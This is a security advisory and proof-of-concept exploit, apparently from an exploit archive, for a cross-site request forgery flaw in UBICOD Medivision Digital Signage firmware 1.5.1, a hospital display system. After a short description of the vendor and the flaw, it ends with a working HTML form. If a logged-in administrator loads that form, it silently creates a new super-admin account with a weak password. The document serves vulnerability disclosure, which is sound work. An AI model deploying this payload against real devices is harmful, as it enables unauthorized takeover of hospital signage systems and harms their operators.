# Title: UBICOD Medivision Digital Signage 1.5.1 - Cross-Site Request Forgery (Add Admin)
# Date: 2020-07-23
# Author: LiquidWorm
# Product web page: http://www.medivision.co.kr
# CVE: N/A

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UBICOD Medivision Digital Signage 1.5.1 CSRF Add Super Admin


Vendor: UBICOD Co., Ltd. | MEDIVISION INC.
Product web page: http://www.medivision.co.kr
Affected version: Firmware 1.5.1 (2013.01.3)

Summary: Medivision is a service that provides everything from DID operation to
development of DID (Digital Information Display) optimized for hospital environment
and production of professional contents, through DID product installation, image,
video content planning, design work, and remote control. This is a one-stop solution
that solves management at once.

Desc: The application interface allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests. This can
be exploited to perform certain actions with administrative privileges if a logged-in
user visits a malicious web site.

Tested on: Apache/2.4.7 (Ubuntu)
           PHP/5.5.9-1ubuntu4.22


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5574
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5574.php


19.06.2020

-->


<html>
  <body>
    <form action="http://10.0.39.2/query/user/itSet" method="POST">
      <input type="hidden" name="aa[_id]" value="" />
      <input type="hidden" name="aa[uid]" value="testingus2" />
      <input type="hidden" name="aa[name]" value="TestN" />
      <input type="hidden" name="aa[pass]" value="123456" />
      <input type="hidden" name="aa[email]" value="aa2@bb.cc" />
      <input type="hidden" name="aa[mobile]" value="111-222-3333" />
      <input type="hidden" name="aa[phone]" value="333-222-1111" />
      <input type="hidden" name="aa[approval]" value="+" />
      <input type="hidden" name="aa[grp]" value="3" />
      <input type="hidden" name="od[]" value="name" />
      <input type="hidden" name="ip" value="0" />
      <input type="hidden" name="np" value="13" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>